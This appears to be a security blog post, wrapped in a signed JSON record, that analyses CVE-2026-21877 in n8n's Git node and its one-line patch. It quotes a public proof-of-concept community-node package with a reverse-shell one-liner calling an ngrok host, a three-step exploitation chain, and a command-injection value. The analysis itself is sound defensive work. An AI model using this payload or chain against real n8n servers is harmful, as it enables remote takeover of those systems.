-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The fix is one if-statement\n\nCommit `f4b009d`, authored by RomanDavydchuk at n8n on 2025-11-26. Twenty-eight added lines and one deletion across four files. Two of those files are an internal Jest test, one is a TypeScript interface declaring `isFilePathBlocked` as a member of `FileSystemHelperFunctions`, and one is a single new line in `file-system-helper-functions.ts` that adds the function to a factory's return object. The substantive change is in the Git node:\n\n```diff\n const repositoryPath = this.getNodeParameter('repositoryPath', itemIndex, '') as string;\n+const isFilePathBlocked = await this.helpers.isFilePathBlocked(repositoryPath);\n+if (isFilePathBlocked) {\n+ throw new NodeOperationError(\n+ this.getNode(),\n+ 'Access to the repository path is not allowed',\n+ );\n+}\n+\n const options = this.getNodeParameter('options', itemIndex, {});\n```\n\nThat is the patch. Before this commit, the Git node passed `repositoryPath` straight to `simpleGit({ baseDir: repositoryPath })` and shelled out to `git`. After this commit, the Git node asks the helper first.\n\nThe advisory describes the bug as \"Remote Code Execution via Arbitrary File Write.\" CVSS 9.9. CWE-94. The version range affected is every release below 1.121.3, which by n8n's tagging covers several years of shipped code. The advisory recommends disabling the Git node and limiting access for untrusted users as a mitigation. It does not explain how a node that takes a repository path becomes RCE. The CVE description does not include the words `~/.n8n/nodes/` or `community node`. This is the post about that.\n\n## The helper was already wrapping every other file-writing node\n\n`isFilePathBlocked` lives in `packages/core/src/execution-engine/node-execution-context/utils/file-system-helper-functions.ts`. It has been in the repository since long before this CVE. Pre-patch, the same file already exported a factory that wrapped `isFilePathBlocked` around every filesystem operation n8n exposes to nodes:\n\n```ts\nexport const getFileSystemHelperFunctions = (node: INode): FileSystemHelperFunctions => ({\n async createReadStream(filePath) {\n if (await isFilePathBlocked(filePath.toString())) {\n throw new NodeOperationError(node, 'Access to the file is not allowed.', { level: 'warning' });\n }\n // ...\n return createReadStream(filePath);\n },\n\n async writeContentToFile(filePath, content, flag) {\n if (await isFilePathBlocked(filePath as string)) {\n throw new NodeOperationError(node, `The file \"${String(filePath)}\" is not writable.`, { level: 'warning' });\n }\n return await fsWriteFile(filePath, content, { encoding: 'binary', flag });\n },\n});\n```\n\nEvery node that calls `this.helpers.createReadStream(...)` or `this.helpers.writeContentToFile(...)` gets the blocklist enforced for free. The Read Binary File node calls `createReadStream`. The Write Binary File node calls `writeContentToFile`. The Read/Write Files From Disk node uses both. They do not need to remember to check, because the helpers do not give them a way to skip the check.\n\nThe patch for CVE-2026-21877 does two things. It exposes `isFilePathBlocked` as a peer of `createReadStream` on the helpers interface. It adds one explicit call inside the Git node's per-item handler. The helper itself was already there. The behavior the helper enforces was already enforced for every other node that writes to disk. The Git node was the one node that bypassed it.\n\n## The path the helper blocks is the path n8n executes\n\nThe blocklist `isFilePathBlocked` consults is computed by `getN8nRestrictedPaths`, also in the same file:\n\n```ts\nfunction getN8nRestrictedPaths() {\n const { n8nFolder, staticCacheDir } = Container.get(InstanceSettings);\n const restrictedPaths = [n8nFolder, staticCacheDir];\n\n if (process.env[CUSTOM_EXTENSION_ENV]) {\n const customExtensionFolders = process.env[CUSTOM_EXTENSION_ENV].split(';');\n restrictedPaths.push(...customExtensionFolders);\n }\n // ... binary storage path, config files, email templates ...\n return restrictedPaths;\n}\n```\n\n`n8nFolder` resolves to `~/.n8n` by default. In the official Docker image, that path is `/home/node/.n8n`. The directory `~/.n8n/nodes/` is where n8n loads community node packages from. The community-node loader scans the directory, reads each subpackage's `package.json`, and evaluates the JavaScript file declared under `package.json#n8n.nodes`. Evaluation is `require()` on that file. Top-level code in the required module runs at evaluation time, before any of n8n's own logic touches it.\n\nThe second public PoC of CVE-2026-21877 is a community-node package built to exercise exactly this. Its `package.json`:\n\n```json\n{\n \"name\": \"n8n-nodes-cve21877-rce\",\n \"version\": \"1.0.0\",\n \"main\": \"dist/Rce.node.js\",\n \"n8n\": {\n \"nodes\": [\"dist/Rce.node.js\"]\n }\n}\n```\n\nAnd its `dist/Rce.node.js`:\n\n```js\nconst { exec } = require('child_process');\n\nexec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.tcp.ap.ngrok.io 16113 >/tmp/f',\n (error, stdout, stderr) => { /* ... */ });\n\nclass Rce {\n description = { displayName: 'CVE-2026-21877 Marker', /* ... */ };\n async execute() { return [this.getInputData()]; }\n}\n\nmodule.exports = { Rce };\n```\n\nThe `class Rce` and its `execute()` method are decoration. Nobody runs the workflow. The reverse shell is at module top level. It fires the moment `require('dist/Rce.node.js')` evaluates, which the n8n community-node loader does the next time it scans `~/.n8n/nodes/`.\n\nThe chain to remote code execution is three steps.\n\n1. An authenticated workflow author creates a workflow that contains one Git node.\n2. The Git node's parameters: `operation = clone`, `sourceRepository = https://github.com//n8n-nodes-cve21877-rce.git`, `repositoryPath = /home/node/.n8n/nodes/n8n-nodes-cve21877-rce`.\n3. The workflow executes. Pre-patch, the Git node runs `simpleGit({ baseDir: '/home/node/.n8n/nodes/n8n-nodes-cve21877-rce' }).clone(sourceRepository, '.')`. The attacker repo lands in n8n's community-node directory. The loader picks up the new package on its next scan, evaluates `dist/Rce.node.js`, the top-level `exec()` runs, the reverse shell calls back to the attacker's listener.\n\nThe path `/home/node/.n8n/nodes/n8n-nodes-cve21877-rce` is contained within `n8nFolder`. `getN8nRestrictedPaths()` returns `n8nFolder` as a restricted path. `isFilePathBlocked()` returns `true` for any path inside it. The helper that was already in the codebase, that was already wrapping every other node's filesystem call, would have blocked this clone the first time the patched code ran. It did not run.\n\n## The Git node thought hard about git's threat model\n\nRead the pre-patch Git node alongside its missing check. Right before the unrestricted `simpleGit(...)` call, the same handler does this:\n\n```ts\nconst gitConfig: string[] = [];\nconst deploymentConfig = Container.get(DeploymentConfig);\nconst isCloud = deploymentConfig.type === 'cloud';\nconst securityConfig = Container.get(SecurityConfig);\nconst disableBareRepos = securityConfig.disableBareRepos;\nif (isCloud || disableBareRepos) {\n gitConfig.push('safe.bareRepository=explicit');\n}\n\nconst enableHooks = securityConfig.enableGitNodeHooks;\nif (!enableHooks) {\n gitConfig.push('core.hooksPath=/dev/null');\n}\n\nconst gitOptions: Partial = {\n baseDir: repositoryPath,\n config: gitConfig,\n};\n\nconst git: SimpleGit = simpleGit(gitOptions)\n .env('GIT_TERMINAL_PROMPT', '0');\n```\n\nThree security configurations are applied, each non-default, each gated on an explicit flag:\n\n- `safe.bareRepository=explicit` is set when n8n runs in cloud mode or when `disableBareRepos` is on. This blocks an attack that uses git's bare-repository semantics to attach attacker-controlled hooks to subsequent operations.\n- `core.hooksPath=/dev/null` is set when `enableGitNodeHooks` is off, which is the default. This prevents a cloned repository's `post-checkout`, `post-merge`, and other hook scripts from running during n8n's git operations.\n- `GIT_TERMINAL_PROMPT=0` prevents git from hanging on an interactive credential prompt that no one is going to answer.\n\nThese are sophisticated defenses. They demonstrate that the person writing this code thought carefully about git's threat model. They asked: what is `git` capable of doing that an attacker could weaponize? They answered: hooks, bare-repo trickery, terminal prompts. They closed each one.\n\nThey did not ask: where is the attacker writing? `baseDir: repositoryPath` accepted whatever string the workflow author put in the Repository Path field. The defense against git-as-code-executor was thorough. The defense against git-as-write-primitive-into-our-own-node-loader was absent. The Git node's threat model treated `git` as the dangerous component. The dangerous component was the operating system underneath, with n8n's own auto-loading directory on it.\n\n## This is the auth-required cousin of unauth-write-to-execution-path\n\nCVE-2026-21877 is an instance of [unauth-write-to-execution-path](/patterns/unauth-write-to-execution-path), the architectural shape we have already seen this quarter at [Breeze Cache](/posts/breeze-cache-cve-2026-3844-gravatar-fetcher-fetched-anything), [Pix for WooCommerce](/posts/pix-woocommerce-nonce-is-not-auth), and SAP NetWeaver. The substrate is the same: the write directory and the execute directory overlap, and a write endpoint reaches the overlap. The version here raises the access bar from \"anonymous HTTP request\" to \"authenticated workflow author,\" but the substrate is unchanged.\n\nThe access bar is lower than CVSS PR:L makes it sound. n8n self-hosted instances commonly grant workflow-edit permission to every team member, every contractor, every integration partner. n8n Cloud isolates tenants at the instance level, but the per-instance trust model is the same: any user with workflow-edit permission can write a file to any path the Git node will accept, which pre-patch was every path the n8n process could write to.\n\n## A note on the other PoC\n\nThe two public PoCs of CVE-2026-21877 do not exploit the same bug. The repo at `CVEs-Labs/CVE-2026-21877` ships a Docker Compose lab with n8n on one container and a custom Flask \"NetView Pro\" backend on another. Its exploit script sends a webhook payload of `{\"address\": \"127.0.0.1; whoami\"}`. The n8n workflow forwards the value as a form parameter to the Flask backend, which runs `subprocess.check_output(\"ping -c 2 \" + target, shell=True)`. The shell injection is in the Flask code the lab itself ships. The n8n Git node is never instantiated.\n\nThe repo at `monkeontheroof/cve-2026-21877-rce` is the actual mechanism. It is the community-node package above. One PoC is the bug. One PoC is shell injection in a Flask app the researcher wrote, with the CVE number on the front of the repo. The defender skimming search results sees one of each and may not stop to notice which is which.\n\nPoC: [CVEs-Labs/CVE-2026-21877](https://github.com/CVEs-Labs/CVE-2026-21877), [monkeontheroof/cve-2026-21877-rce](https://github.com/monkeontheroof/cve-2026-21877-rce)","closing_line":"n8n built the gate. n8n installed it on every door but the one whose entire purpose is writing to wherever you ask.","hook_md":"The patch for CVE-2026-21877 adds eight lines to n8n's Git node and one line to a helper interface. The eight lines are a single `if` statement: ask whether the path is blocked, throw if it is. The function being asked, `isFilePathBlocked`, was already in the n8n codebase. The Read Binary File node was importing it. The Write Binary File node was importing it. Read/Write Files From Disk was importing it. The Git node, whose entire purpose is writing to a user-supplied path, was the only file-writing node in `nodes-base` that did not.","post_id":51,"slug":"n8n-git-cve-2026-21877-helper-was-already-there","title":"CVE-2026-21877: The Helper That Stops This Bug Was Already in n8n","type":"initial","unreadable_sentence":"n8n built the gate. n8n installed it on every door but the one whose entire purpose is writing to wherever you ask."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCagyXtAAKCRDeZjl4jgkQ JlylAQCTr4/IHx8IeR+jfaf2v2UBz6TgcKRsWCJoe6blfXjzZAD/QMagkKGsSomY Pvsb7Be4L4yaqaQJBIhm6VL6SoPX/Q8= =FNZV -----END PGP SIGNATURE-----